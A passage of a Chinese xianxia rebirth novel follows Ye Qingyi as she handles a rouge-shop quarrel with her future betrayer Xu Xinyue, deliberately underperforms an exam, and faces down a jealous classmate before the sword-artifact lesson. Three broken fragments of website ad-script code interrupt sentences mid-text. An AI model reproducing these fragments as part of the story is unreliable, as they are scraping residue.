叶清漪不太感兴趣,也没有进去,和连喜一起站在门口,看连喜的样子,似乎对刚才那点插曲并不在意,叶清漪也默契地假装无事发生。 前世她也跟连喜过从甚密,很多时候比今日还要亲密更甚。那时她体内魔气和仙力相互排斥,折腾得她生不如死,都是连喜贴身为她传功压制魔气,类似的情况还有很多。他们在魔界形影不离,叶清漪也习惯了连喜的陪伴,但像今日的体验倒也未曾有过。 那时他们每一日都过得很艰难,为了重新开始修习魔修,叶清漪不得不将体内的仙力一点点废除,连喜痛心不已,又没办法替她受难,只能时时守在她身边,一直陪着她,每次她被两种功法相斥之力反噬,痛到昏厥,醒来时连喜总是守在她身边,那时她还以为连喜的感同身受是因为他对自己感情深厚,如今想来,只怕是因为连喜也曾经历过被废除一身仙力的痛苦吧! 那时她以为自己该是钟情于连喜的,如今她又糊涂了——钟情一个人似乎跟她所想并不一样。 但叶清漪也只是一个闪念,并未过多在意,毕竟感情之事不像修炼,照着心法一步步来就可以学会。 连喜见她不进去,有些奇怪:“你怎么不跟她们一起?你们女孩子不都喜欢脂粉这些的吗?” 虽然近来和连喜之间有些特殊的情愫,听到这话,叶清漪依旧像之前一般态度平淡地回答:“你见过我擦脂粉吗?” 连喜挠了挠头:“的确没有。” “也不是说这些有什么不好,只是修炼时间宝贵,涂脂抹粉的功夫,我都能再背一篇心法了。每天多出一点时间,我能多背多少东西?”叶清漪此话不假,前世从学徒到弟子,她修仙的十来年就没打扮过,保持干净清爽就可以了。 连喜没有嘲笑她冠冕堂皇,也没有敷衍地应了,而是很认真地跟她讨论:“你为何如此想尽快提升修为,不是一共有三年时间吗?” 叶清漪不想说得太具体,只说自己想尽快开蒙,早日提升功力。 “你大可慢慢来,不用如此激进啊!有时候基础打得坚实一些,才能厚积薄发啊!” 叶清漪想到自己近来停滞许久的修炼状态:“你说的有道理,我可能确实操之过急了。” 连喜的手顿了顿,在她肩膀上拍了两下:“既然休息了,就不要总想着修炼的事了,有时越想取得成果往往越不如人意,不刻意追求或许会有意外收获。正所谓,有心栽花花不开,修炼也是一样的道理。” 叶清漪略一思索:“你的确对修炼有一套自己的见解,但我认为也不尽然,我一直奉行的是全力以赴,势在必得,如果一味想着顺其自然,连自己的人生都掌控不了的话,那我倒更愿意执着下去。” 见连喜表情不太好,叶清漪也知道他是想宽慰自己,便缓了语气:“不过你说的也不无道理,只是我觉得修炼不像种花,而是像建高楼,一层层向上固然重要,地基也需要打牢固,不然只会像空中楼阁,经不起一点风雨。” 连喜眼神亮了亮:“倒是第一次听到这番言论,你也挺有自己的见解的,若是师尊听到你这番言论,肯定会对你刮目相看,若是你三年后能当师尊的弟子就好了。” 叶清漪默了默,道:“成为掌门亲传自然是每个弟子最向往的事,但不是每个人都有二师兄你这样好的资质的,优秀的师兄师姐这么多,我能留下和你们一同修炼,已经十分荣幸了,哪里敢想其他!” 连喜还想再多劝几句,叶清漪却不欲再继续这个话题,毕竟在那之前,连喜不知还会遭遇什么,如果叶清漪不能及时阻止,等她成为云宸亲传弟子,连喜只怕早已不在云仞山了。 二人又沉默站了会儿,叶清漪见时间有点久,忍不住往店铺内张望:“都进去这么久了,她俩怎么还没出来?” 正巧这时里面传来一声尖锐的惊呼,伴随着东西碎裂的声音,店铺内出现一阵骚动。 “不好!”叶清漪急忙冲进去,连喜此时顾不上许多,也冲了进去。 只见店内来买胭脂的女弟子们正围成一圈,裴佩被夏侯静仪拉着,正和一位身量瘦弱的女子争辩,叶清漪走上前询问缘由,这才得知二人在店里跟人起了冲突,争执之中不小心打碎了一盒胭脂,至于与她二人起了冲突之人就在对面。 看到对面之人的瞬间,叶清漪就认出对方是谁了— (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' —许欣月,她的第一个徒弟,也是唯一一个。 虽然云仞山只有云宸和四位长老可以收徒,但有一个不成文的规定,突破三重天之后,弟子们也可以自行收徒了,许欣月就是叶清漪突破三重天后收的弟子,不过在这之前,叶清漪私底下已经传授过许欣月不少心法了。 二人也算因缘巧合认识的,彼时许欣月还是一个法力低微的外门弟子,被分派在膳堂修习,不仅每日要烧火打扫,还要遭受其它同门的排挤,叶清漪也是看她可怜,脾气秉性又和自己很像,才出手帮了她,之后也时常与她探讨修炼之法,为她解惑。 当时叶清漪又没什么朋友,又跟许欣月聊得投机,一来二去,两人就慢慢熟络起来,最初只是聊些生活中的琐碎烦恼,各自的理想与志向这类,偶尔也会谈及修炼遇到的困难,以及进山以来的心路历程,许欣月时常表示很羡慕叶清漪,悟性高,又勤奋,还是家中的嫡长女,仿佛被上天眷顾一般,做什么事情都很轻而易举,不像她总是事与愿违。 叶清漪自然不愿见她这般自轻,也时时说些鼓励她的话,只是对许欣月都不太奏效,叶清漪认为根本原因还是许欣月灵力低微,便萌生出要帮她提升修为的想法。 当她提出这个想法时,许欣月有一瞬间的错愕,眼神里带着深深的震惊,仿佛不敢相信叶清漪会提出这个建议一般。 叶清漪倒觉得许欣月的反应太过激烈,在她看来这不是什么大事,不过举手之劳罢了。直到后来,她被魔气入侵后,许欣月用叶清漪教会她的本领,将她击倒在长明殿前时,她才知道自己终究是养虎为患。 不料这一世竟在此地遇见,这时的许欣月还不认识叶清漪,叶清漪也还没成为众矢之的,对方对她并没什么印象,只当她是夏侯静仪和裴佩二人的同伴。 “发生什么事了?”叶清漪问夏侯静仪。 裴佩异常激动,指着许欣月鼻子破口大骂:“就凭你一个卑贱的庶女,也配进云仞山,说,你到底使了什么手段进来的!” 夏侯静仪连忙低声跟叶清漪解释:“这位和裴佩俗家有些恩怨,一时半会儿解释不清楚,总之方才我们逛得好好的,这位师妹忽然就拿起裴佩看中的胭脂,那款胭脂是这铺子里卖的最好的,只剩最后一个了,二人争执起来,谁也不肯相让,失手间便砸了这盒胭脂。” “许欣月,从小到大你什么都要分去一半,如今连一盒胭脂也要同我抢?” “裴姐姐见谅,我不是有意冲撞你的,只是我受了师姐所托,特意来买这一盒胭脂,若是没买成,回去定然要受师姐的斥责,向来什么好的都是姐姐你的,单今日这一份胭脂,姐姐也不能相让吗?” 许欣月此言一出,围观之人不由分说一致替许欣月不平。 裴佩气得说不出话:“你故意跟我抢,倒还成了我的不是了?” 41. 第四十一章 “裴姐姐,你别生气,都是月儿不好,自小裴姐姐想要什么就没有得不到的,是月儿欠考虑了。”许欣月话里有话地说。 围观之人听完后更加一边倒地为许欣月鸣不平了。许欣月话里带着哭腔,加上裴佩盛气凌人的样子,许欣月就完全是一个被欺凌的小白花,加上许欣月眉目清秀,又生的清淡如水,一低眉一顺眼,就会让人自然觉得她受了天大的委屈,下意识地想维护她。 “你又在这里装可怜,每次都这样,你不累吗?”裴佩气得指着许欣月破口大骂,还嫌不解气,直接想上手打她,夏侯静仪和叶清漪连忙上前去拦。 裴佩一边被她们往后拽,一边还努力蹬着腿去踢许欣月,边踢边骂:“许欣月你是什么东西,也配在我面前摆出这副样子,之前在家你就总是这样,害我被我娘斥责了多少回,现在进了云仞山也不能摆脱你,我可真是倒了几辈子霉了。” 叶清漪在一旁听着,大概能弄清楚她二人之间的关系了,再看裴佩这副样子,估计类似的情形怕是已经发生过无数次了。 许欣月吸了吸鼻子,用袖子作了个拭泪的动作,柔声道:“是月儿惹姐姐不高兴了,月儿自知身份卑贱,本没有资格进山,只是姑母担心裴姐姐独自在仙山无人照应,这才也帮月儿报了名,只是月儿知道姐姐不待见我,便刻意避着姐姐,就怕惹了姐姐不快,若非今日事出有因,月儿也不会冲撞姐姐的。” 裴佩气得胸口剧烈起伏,看来二人相处多时,许欣月对裴佩的性子很是了解,三言两语就能将裴佩气得说不出话。 叶清漪看着眼前的许欣月,仿佛看到当年她跟自己说:真羡慕姐姐,不像我…… 当时她竟没发现,这是许欣月常用的伎俩,如今看来真是破绽百出。 “不就是个胭脂吗?至于这么对着人家骂吗?” “就是,别得理不饶人了,再说了,那胭脂又没写她名字,摆在架子上,谁都可以买啊!” 围观之人中基本都是名门贵女,想法单纯,又多数出手阔绰,自然不理解裴佩的举动,已经开始为许欣月说话了。 “对啊,再说人家又不是故意的,何必揪着不放,大不了我出钱赔你一份便是。”一位面生的师妹已经上前拉着许欣月,轻声安慰她了。 裴佩还欲发作,叶清漪连忙按住她:“再这样下去也是无益,她们认准了你要欺凌弱小,你越情绪激动,她们越认为你恼羞成怒。” “不是,这些人什么都不清楚,怎么胡乱帮人啊!”夏侯静仪也看不明白,“她们都不了解佩儿是什么人,和这个许什么月也不相熟,仅凭对方一面之词就在这判定是非了吗?” 叶清漪已经见怪不怪了:“向来不都是如此吗?” 连喜一直在旁看着,也不好插手。 这时店家也赶到了,如今正是开市后最热闹的几日,店家不想事情闹大,便提议道:“二位仙姑切莫动气,这款胭脂小店目前暂无备货了,不过另外有几款也都颇受欢迎,我做主一人送一份卖的最好的胭脂,外加一份还有时下最流行的水胭脂,二人仙姑可否给我一个面子,各退一步。” “什么各退一步?当我稀罕你这几个胭脂吗?再啰嗦小心我把你店都砸了。”裴佩已经被气得失了理智了。 那店家气得一时语塞,摇了摇头走开了。 夏侯静仪连忙拉了拉裴佩,示意她别再说了。 叶清漪也上前一步,将裴佩挡在身后,低声跟夏侯静仪说:“你先把她拉开,她太容易被激怒了,再下去事实是什么已经不重要了,别人只会觉得我们仗势欺人。” 果然,已有人不由分说替许欣月出头了:“这位师姐好大的口气啊!怎么?你们四个人想合伙欺负人家一个小师妹吗?” “你们方才不都看到了?是我们先看中这款的,她是看到我们在看才过来抢的。”夏侯静仪也看不过去了。 “她都说了她是受人所托,不是故意跟你们抢的,再说你又没买,怎么就是你们的东西了?” 夏侯静仪:“你!” 叶清漪摆摆手,示意她退回,自己则走上前,不疾不徐地与对方分说:“诚如师姐所言,许师妹的确是受了师姐所托来买这款胭脂,但那是她自己的事,与我们何干?况且,当时她来抢胭脂时,裴师妹也并不知情,她大可跟裴师妹好好说明情况,二人有商有量,裴师妹也不是不讲理的人,如果许师妹讲前因后果讲清楚,相信裴师妹定会慷慨相让,毕竟许师妹也说了,裴师妹从小就应有尽有,自然也不会在乎这区区一个胭脂,如此一来,也不会有后来的误会了不是吗?” 叶清漪一番话有理有据,态度恳切,围观之人又开始赞同她的说法来。 “二位师姐自是好心,但有时也不能仅听一家之言,易地而处,若是二位师姐今日遇到和裴师妹一样的事情,是否也会希望他人听你分辨几句呢?” 两位替许欣月出头的师妹见状犹豫地互看一眼,没有再多言,并且默默和许欣月拉开了距离。 眼见局势对自己不利,许欣月有些慌乱,但很快重镇旗鼓,上前一步道:“这位师姐和裴姐姐关系很要好吧,我经常在膳堂看到你们一同用膳,真是十分羡慕,不像我总是独自一人。” 言下之意,叶清漪跟裴佩要好,自然会帮裴佩说话。 叶清漪看她一眼,没有回应,只是波澜不惊地看着许欣月,意味着她不会像裴佩一样轻易被激怒,并且已经看穿许欣月那一套了。 许欣月不甘示弱地回视,见叶清漪丝毫不落下风,嘴角浮夸的笑意终于维持不住,垮了下去,眼神迅速冷了下去。 叶清漪压根不在意许欣月,只道:“各位下山都是为了放松休息,我们也不想耽误师姐们的时间,今日之事虽然是意外,但许师妹本是裴师妹的表亲,说来也是她二位的家事,就让她们自行解决罢!至于店家的损失,我们自然会加倍赔偿的。” 叶清漪一句“家事”出口,围观的师姐师妹们神情都发生了微妙的变化,毕竟“清官难断家务事”,人人都知道卷入他人家事是极不明智的,且不说对错一时难断,就算今日她们在中间调解成了,如今两个表亲针锋相对,指不定何时重归于好,到时她们又落得个挑唆的罪名,岂不是自找麻烦! 是以多数人都已生了退意,陆续离开了,又有几位上来,将那两位出头的也拉走了,不过眨眼之间,所有人都走完了,只剩许欣月和叶清漪她们几个,外加一个连喜。 许欣月冷着脸 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 看着叶清漪,又看了眼一旁的裴佩,毫不掩饰眼中的嫌恶。 裴佩自是不肯作罢,第一时间回击:“装吧!人都走完了我看你装给谁看!” 许欣月稳了稳情绪,勉强切换回得体的微笑:“裴姐姐这是说的哪里话,月儿对姐姐向来知无不言,哪敢在姐姐面前有半句虚言呢!” “你!”裴佩又差点被气到心塞。 叶清漪毫不留情戳穿许欣月:“选择性地说真话,也是某种程度的歪曲事实。” 许欣月不说话了,恨恨看着叶清漪。 这时连喜折返回来,柔声跟叶清漪交代:“我们走吧!我已经付了双倍的灵石给店家了。” 叶清漪应了声,转头劝裴佩离开。 “那这个许欣月呢?当时她摆明故意上来抢的,我们就这么放过她吗?” “你确定还要继续争辩吗?你应该也意识到了,你不是她的对手,在她手下你讨不到好的。” “可是你方才……” “方才为了控制局面我不得不出面,但我不能次次替你处理,毕竟你二人的事情还是需要你自己来应对的。” 裴佩一时哑口无言,片刻后终于泄了气:“你说的对,这些年没一次不是我吃亏的,可我就是气不过,看不得她那个样子!” “来日方长,何必急在一时,我们已经在此耽搁许久了。” 夏侯静仪也来劝她:“是啊!有这功夫,多逛几家商铺不好吗?何必在此浪费时间。” 裴佩大概觉得有些道理,终于作罢。 连喜在一旁递给叶清漪一盒胭脂。 叶清漪有些意外:“我不是说不爱用这些吗?你何必破费。” 连喜只道:“我知道你不爱用,不过这盒是香粉,你大可摆在屋内,没事闻一闻,心情也好些。” 对面的许欣月原本瞪着叶清漪,这时又注意到连喜,神情有了微妙的变化。 连喜又给裴佩和夏侯静仪一人递了一盒胭脂,还买了两个给许欣月:“许师妹既然受人所托,也不好失信于人,这两份你带回去,一份交给你师姐,向她说明情况,想来她也不会苛责,一份你自己留着用罢!也当是我几人为今日的冲撞给师妹的赔礼了。” 许欣月默默接下那两个白瓷小圆盒,脸颊控制不住飞红一片,似乎有些无地自容。 叶清漪也不想再耽搁下去,招呼几人一起离开。 连喜率先跨出店门,叶清漪则让夏侯静仪和裴佩先走,她最后。 裴佩顺了气,也没有之前那么失态了,她心平气和地从许欣月面前走过,学着她的腔调:“今日是我莽撞了,师妹不会跟我计较的吧!毕竟我也不是有心的。” “裴姐姐说的哪里话!我怎么会……”许欣月一口银牙都要咬碎了。 “那就好,师妹还真是善解人意,”裴佩抢过话头,故作感叹,“我要有师妹一半宽容就好了,可惜我这人爱记仇,若是有人对我好,我会加倍对她好,若有人暗地里给我使绊子,我自然也不会放过!” 裴佩走出去半步,又回头道:“对了,以后在仙门我还是希望你可以叫我师姐,总叫我裴姐姐未免也不太合适。” 许欣月脸上的笑都要挂不住了。 42. 第四十二章 几人一前一后走出胭脂铺,没有注意对面茶馆二楼窗户内坐了两个人,一位青衫一位紫衣,二人相对而坐,青衫那位坐在左侧,手持一青瓷茶杯小口啜饮,对面那位紫衣正低头给自己倒茶,二人都是二十上下年纪,又身着常服,看起来跟寻常弟子没什么两样。 “师兄,你物色的新弟子很不错啊!悟性高,天生就是修行的苗子,也颇有风骨,跟你年轻时很像啊!日后好好培养,定然能独当一面。”青衫说着饮尽杯中茶,搁下,紫衣又为他添了一杯,青衫双指并拢,轻敲桌面三下,行了扣手礼。 “只是资质尚可,也够勤勉,只是性子还是有些张扬,还不够沉稳。”紫衣始终敛目垂首,但对外界之事尽数洞悉,沿街之事无一不在其掌握之中。 说话的正是作寻常弟子打扮的云宸和执明二人,彼时二人修仙小有所成时大约在二十一二左右,此后无论过了多久,容颜也始终停留在少年时期,但他二人实际也不过将将而立,当年四大长老和云宸都拜在仙尊云徵手下,不以拜师先后或是长幼之需论资排辈,而是以功法实力来定,也是云徵开的先河。云宸作为资质最佳的弟子,便成了云徵大弟子,尽管他是五人中年纪最小的,此后也顺理成章继任掌门。 如今云徵飞升才过一十八载,也就意味着云宸当年成为掌门之时尚未束发。 “我看这女弟子似乎已然开蒙,若是如此,那算是这一批里开蒙最早的吧!”执明言语间颇为赞许。 “还是有些根基不稳,不过还算可塑之才。” “师兄未免也太过严苛了,十五岁开蒙,已是很难得了。跟你当年自是没法比,六岁开蒙,九岁悟道,十五岁修得第一重天,继任掌门,这世间有几人能做到你这般。修言三十悟道,拂尘四十岁才炼气,我也是日夜苦修,勉强赶在弱冠之时入了第一重天。人和人之间真是天差地别啊!” 云宸没有接话,举杯至唇边,视线越过人流,落在远处几个背影上,意气风发,正值年少,前途无限。 “虽然不是百年难遇,但已是意外之喜了。”云宸轻抿一口杯中毛峰,搁下杯盏。 “能得此言,想来师兄对这女弟子甚是满意啊!只是我担心她锋芒太露,会招来无妄之灾。”执明语带深意。 云宸整了整袍袖:“若是如此,那也是她需要修的课业之一。” “仙道易修,人心难测啊!”执明感慨不已,“这些年咱们看的还少吗?多少良材无谓折损,如今难得有了好苗子,师兄还是多多照拂罢!” 云宸并未表态,重新又沏了杯茶,片刻后才道:“我倒觉得,她比我们看到的还要坚韧,日后成就或许会超过你我。” 执明闻言愣了神,张着嘴半天忘了合上:“天哪!我是快飞升而去了吗?居然听到你如此高地评价一个后生。” 云宸和执明年幼相识,甚是亲近,不时也会开些玩笑,听到执明如此说,云宸难得展颜,露出几分原本的性情:“你这第三重天还没突破呢!还想着飞升这等好事。” “唉,我不比师兄你如此勤勉,修个二重天都已是倍感艰辛了。如今这样我已经知足了,天塌下来,不还有修为高的师兄您顶着嘛!”执明说着将一小捧剥好的干果递到云宸面前,故作谄媚地笑着。 云宸无奈摇头:“也罢,你自己想清楚便好。” 执明坦率一笑:“还是师兄懂我,不像师尊他老人家,老逼我上进。” 云宸不置可否,低头倒茶,对面的执明也举起茶杯继续喝茶。 云宸搁下紫砂壶,若有所思地望着窗外,一抹异常的光亮若隐若现——看来这些弟子中间,有人和妖族结了妖契。 他视线继而落下,长街尽头,一个熟悉的身影正在人流中缓步前行,她的背后一个纹样复杂的图案透过薄衫映出,那是妖族的印记,灵力低微者很难察觉。 云宸眉头紧蹙,眸色暗了几分。 * 由于闹了一点不愉快,夏侯静仪和裴佩的心情都不是太好,最后草草买了点物件就回去了。 许欣月的宿舍跟她们隔得比较远,回去后也很少碰面,日子又恢复如常,很快,年度考核的成绩出来了。 考核评判分为甲乙丙三等,每等又分为优、优良、良和差四个等级,每个等级又可分为上、中上、中、中下、下等,以此来界定最后的名次,长老们会根据学徒考核时的表现和答题结果综合评定,再根据结果判定学徒的综合实力。 前世叶清漪拿到的成绩是甲等最优,为此惹了不少麻烦,这一世叶清漪最终拿到的成绩是甲中优良。 虽然没有那么突出,但和她平时的成绩比起来还是好了不少,凌雪瑶等人都没她评级高,成绩最好的是唐旖柔,甲等中优,甲优中下和优下分别一人,良上和中上各二人,和叶清漪并为甲中优良的还有另外四人,也就是说,叶清漪在前十一名里。 但其实叶清漪每道题都会做,可她不能这么早暴露全部实力,为此她特意少答了一道剑道论述题,少填了五条门规填空,自由展示也选的简单不出错的一套剑法,最后的成绩也跟她预估的差不多。 有些人开始坐不住了,尤其凌雪瑶,简直视她为眼中钉。叶清漪没关注过凌雪瑶的等级,反正前十名里没有她,所以她肯定比叶清漪成绩低。那些之前颐指气使欺负叶清漪的,冷嘲热讽的,成绩都一般般,基本在三四十名打转,这让她们看叶清漪眼神中变得复杂起来,嫉妒、不满、忌惮都有。 不过在这些转变中有一点叶清漪是很满意的——之前那些当着她面阴阳怪气的声音几乎没有了。 毕竟在云仞还是实力说话,多数人对修为高的人都会心生拜服,平日里打闹也不会招惹这部分人,可以说等级越高,耳根子越清净,叶清漪没想到还有这点意外收获。 随着时间的推移,弟子们的实力开始两级分化,也出现了心照不宣的现象——修为高的彼此亲近,修为低的玩在一处。 平日里讨论的事情也不尽相同,虽然也都会谈及玩乐、吃喝、爱好这些,但修为高的会探讨心法,聊到修炼中遇到困难,一起分析,往往也能更快提升修为。 修为低的又分为两类,一种依旧勤奋,试图提升,但进展缓慢,这类属于天资不高者;另一种,天资愚钝,也没有上进心,每日就闲散度日,上课也不听讲,挨罚也无所谓,这类属于油盐不进,只为混个资历,待三年期满,回归本家,再靠着仙门的经历和家族的关系在占星阁谋个虚职,或在衙门里当个混饭吃的捕妖师也就罢了。 第二年开年,叶清漪已经完全开蒙了,进度上已经领先一大截,并且随着修为提升,口腹之欲越发淡了,省去了吃饭的时间,可以花上一整日的时间修炼,更容易入定,也有利于领悟更高难度的功法。 除了修仙理论和剑道,这一年还多了两门课程——法阵及御行,分别由修言和执明教授,至于拂尘长老的炼器炼丹之术,要到下半年才会开始学。 法阵包括心法和阵法,御行则是御剑和御兽,一听到这些课程的名字,弟子们都觉得很新奇,颇为期待,不过如今只是学一些浅显的初级的功法,并不会很深入。 总的来说第二年的任务还是比较重的,第三年就没这么满的课了,基本靠自己修炼顿悟,消化前两年所学,毕竟修仙一事更多还是要靠自己,理论或许可以被传授,但心法只能靠自行参悟。 第二年还有一件主要的事情——御剑课分配各自的法器。 叶清漪会在藏宝阁遇见自己的命定法器——青锋剑。 次年第一堂就是执明的御剑课,叶清漪坐在左边一排第三张桌子靠过道的位置,裴佩坐她旁边,后排是霍水仙和夏侯静仪。离上课还有一点时间,弟子们正陆续进入问道堂,叶清漪百无聊赖地翻看着手中的书本,前世她都学过,如今又要从头学,不免有些乏味。 裴佩哭丧着脸:“怎么就开始上课了?我还没休息够呢!” 霍水仙也倚着里侧墙壁,蹙着眉,双指死死抵着脑仁,恨恨道:“好久没这么早起了,头好痛!” 那架势看着像是要将那处疼痛按没似的。 夏侯静仪已经趴在桌上补觉了,瓮声瓮气地说:“趁长老还没来,赶紧再趴会儿吧!” 这时许欣月跟在几个人后面进来了,刚好和叶清漪视线对上,又看了眼一旁的裴佩,神情一顿,看不出她在想什么。 裴佩也看到了,不客气地哼出声,许欣月又看向叶清漪,接着才收回视线,没有走过来,而是改了方向,走到最里侧那排座位,在靠后的位置上坐下了,和叶清漪她们的位置刚好相隔最远,分别位于问道堂的两个角落。 看着许欣月离她们那么远,裴佩这才消了点气:“算她识相,没在我跟前碍眼!” 叶清漪笑笑:“怎么,你又不困了?” “困啊!”裴佩很快将对许欣月的不满抛之脑后,“算了,不管她,只有别在我跟前晃,我就当没有她这个人。” 裴佩很快又想到其他感兴趣的事,兴冲冲地拉着她们说:“对了,听说今年的御剑课会给我们佩剑了!还是每个人到藏宝阁自取,想想就很有意思!听说藏宝阁法宝无数,也不知道我们最后会拿到什么法器。” 正聊着,凌雪瑶和唐旖柔又在此时进来了,凌雪瑶原本正和唐旖柔有说有笑,看到叶清漪,瞬间冷了脸,径直朝她走来。 “叶清漪!”凌雪瑶猛地一拍她们桌子,“别以为拿个优良就了不起了,等着吧!我早晚有一天会超过你的。” 说完不给叶清漪开口的时间,气冲冲就走了。 唐旖柔紧随其后,也从她们边上的过道走了过去,坐在了中间这排倒数第二的位置。 凌雪瑶见叶清漪回头,还在座位上恶狠狠地冲叶清漪比划。 叶清漪轻笑一声,收回视线,只觉得凌雪瑶幼稚可笑,原本她是不打算计较的,但她忽然就想起前世似乎有类似的经历,原本已经忘了,如今被凌雪瑶这一通嘲讽,毫无征兆地想起来了。 大概是在第二年首次的月度考核,由于 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不考戒律的课了,叶清漪成绩一下就上来了,直接拿了个甲等最优,那时凌雪瑶也是这样对她冷嘲热讽,叶清漪只觉得莫名奇妙,但又不知该如何反驳,因为前世凌雪瑶也是这样,骂完就跑,时间点都是卡在上课前,往往她骂完离开长老就来了,叶清漪想回击也回击不了,只能默默忍下。 事后越想越气,又没有理由突然跑去找凌雪瑶吵架,当时她也是想着与其浪费时间在口舌之争上,还不如多多修炼,便想着就此作罢了,她再努力离凌雪瑶远点。 但凌雪瑶却不这么认为,反而觉得叶清漪性子软,好欺负,便开始肆无忌惮,变本加厉,想着法儿地挤兑她,弄得叶清漪不胜其扰,十分气闷。 想到这里,叶清漪火气蹭地一下就上来了,当年这口恶气还没出呢!如今她可不是劝自己多一事不如少一事的人。 她长长呼出一口气,神情一冷,一拍桌子站了起来。 裴佩吓得一激灵。 后排的夏侯静仪猛地抬起头,睡眼惺忪地问:“怎么了?魔界打过来了吗?” 叶清漪不满地回头看向凌雪瑶,对方似乎没料到叶清漪会真的跟她计较,有些乱了阵脚,不过在瞥见门口的位置后,神情瞬间就放松了下来,嘴角浮现一抹得意的笑意。 一旁的裴佩也拉了拉叶清漪的衣袖,低声道:“快坐下,长老进来了。” 叶清漪回过头,只见执明已经站在问道堂门口,见叶清漪站着,直接点了点她道:“叶清漪,马上上课了,快坐下!” 看执明进来的速度,估计凌雪瑶进门时就看到他在后面了,算好了时间来骂的叶清漪。 叶清漪看了看执明,又回头看了看凌雪瑶,对方正挑衅地冲她挑眉,一副“你能拿我怎么办”的样子。 夏侯静仪也在身后戳她:“先坐吧!有什么事上完课再说啊!” “叶清漪!”执明又喊了她一声,示意她坐下。 随着执明的出现,整个堂内都安静了下来,此刻所有人无声地看着她,凌雪瑶则躲在后面发出轻蔑的笑意。 叶清漪定定看了执明一眼,毫无征兆转身走到凌雪瑶桌边,双手撑在桌上,用所有人都能听到的声音问:“你方才为何要对我说那种话?” 凌雪瑶不敢置信一抬头,支支吾吾道:“什……什么话?” 执明在身后出声制止:“叶清漪,快回到你的位置上!” 叶清漪不为所动,盯着凌雪瑶的眼,加重了语气:“就你刚才路过我旁边停下来,说我别以为考了个优良就了不起了,让我等着,你会超过我的话。” 叶清漪声调不高,但足以清晰地传到在场每个人的耳中,执明也知道大概发生了什么,之后便没有再制止叶清漪。 “看来有仙徒有些事情要处理,我们就稍微等他们一会儿。”执明说着走到最中间的书案边上,将自己的佩剑放在了一旁的剑架上。 凌雪瑶有些急了:“长老,叶清漪扰乱课堂秩序,你怎么不斥责她?” 执明一手靠在书案上,满不在意地解释了两句:“无妨,一会儿我们要去藏宝阁认领法器,需要你们心平气和,才能感应到适合的法器,叶仙徒这样肯定感应不到,你还是好好跟她解释清楚罢!” 凌雪瑶没想到执明是如此的行事风格,根本不按套路来,其他人又都看着她,气得直接当着众人的面大骂叶清漪:“怎么了?我难道说错了吗?就看不得你那得意的样子,考个优良很了不起吗?” 凌雪瑶越说越激动,一旁的唐旖柔都拉不住她。 叶清漪丝毫不受凌雪瑶的情绪影响,撑着桌子居高临下地问:“话说到此,我有个问题很好奇。” “是什么?”凌雪瑶对接下来会发生的一切毫无所知。 “凌师姐如此上进,不知此次考核评级是多少呢?” “我,我……”凌雪瑶顿时没了底气,低着头,声音减弱了下去。 “可能是我对凌师妹关心太少了,在我前后几位里没看到凌师妹的名字,不知可是我疏忽了?”叶清漪死死盯着凌雪瑶,不给她作罢的机会。 “是!我是考了个乙等,又怎么样?”凌雪瑶一拍桌子,大喊出声。 其他弟子不由得暗暗发出笑声。 凌雪瑶回身喝斥:“笑什么笑,都给我闭嘴!” 叶清漪拿捏着力道轻笑一声,语重心长地拍了拍凌雪瑶的肩膀:“那凌师妹可得要好好努力才行了!希望在你回去嫁人之前能超过我。” 说着转身回了座位,不给凌雪瑶反驳的机会。 三年学徒不成,凌雪瑶十七岁回去,应该就会安排亲事,叶清漪此言是在暗讽她三年后不能留下。 只留凌雪瑶在背后大喊:“叶清漪我记着你了!” 叶清漪叹了口气,用在座都能听清的声音懒懒回道:“能上进是好事,不过我劝你,还是找个能实现的目标,免得受挫,一蹶不振!” 凌雪瑶气得要起身来打她,不留神被凳子绊到,轰的一声,猛地栽倒在地。 43. 第四十三章 堂内顿时响起一阵爆笑。 桌椅都是寻常的木头打成的,不怎么重,凌雪瑶摔倒时直接将桌椅撞开了,所以没被磕到,也没收什么伤,只是结结实实摔在地面上。 邻座的唐旖柔很快将她扶了起来,询问她有没有受伤。 凌雪瑶狼狈地坐回去,脸颊飞红,已经没了之前盛气凌人的样子了。毕竟当众出丑,再强的心理素质也还是难免会感到尴尬的。 “凌仙徒没事吧?可摔坏了?”执明也忙询问凌雪瑶的状况,得到没事的回复后,才稍微放下心来,开始维护课堂秩序,“好了,都别笑了,赶紧调整好状态,一会儿出发去藏宝阁了。凌仙徒要是身子不妥,不如先去灵药阁问拂尘要点金疮药?藏宝阁就先别去了。” 其实凌雪瑶已经有了霜华剑,去不去领法器都无所谓,但凌雪瑶还是坚持要去,大概是想再看看能不能多得一些法器吧! 前世凌雪瑶除了霜华剑,还得了极寒玄叶,将其嵌入剑身,可大大提升灵剑的威力。凌雪瑶因此在次年的剑修考核中拿了不错的成绩,一举冲进甲等中良,全门排第八,也算有些应了她今日的豪言壮语,不过那时叶清漪已经是断崖式门派第一了。 这时执明告知众人,稍后会有两位师兄带领他们前去藏宝阁,所有弟子只需跟着师兄的指引即可,言罢先行一步,离开了。 叶清漪收回思绪,对这部分的记忆很模糊,只记得后面她只身进入藏宝阁认领青锋的事,所以也不知道究竟是哪两位师兄来。 执明一走,弟子们就热火朝天地讨论起来,裴佩她们也很激动,毕竟对于修仙之人来说,法器等于是自己的第二条性命,并且获得灵剑后就可以开始修习御剑之术,这是大部分学徒最期待的课程了。 众人等了一会儿,负责带领他们的师兄就到了,两位身着白衫的少年依次出现在门口,堂内的师弟师妹们不由得发出阵阵低呼。 叶清漪抬眼望去,来的正是顾长风和泽成,其实这也没什么悬念,泽成是执明的亲传大弟子,本就负责协助执明处理授课事宜,至于顾长风,他这大师兄很闲吗?怎么什么事都拉上他?还是说门派大师兄就是这么劳心劳力? 回想当年自己当上大师姐后繁重的门派事务,叶清漪觉得顾长风如此频繁出没各处也很合理。 不过这半年来,顾长风出现在后山的频率已经少多了,可见他还是有些正事干的。 叶清漪望向门口时,恰好跟顾长风四目相对,可以感觉得出来,这一眼极其精准,没有左顾右盼,四处搜寻,想来顾长风在外面已经看到叶清漪坐在这个位置了,进来后是特意看向她的,但叶清漪不明白他这是何意,便略带疑惑地回望着他。 没想到顾长风转瞬就收回视线,和泽成一起组织众人出去,前往藏宝阁。 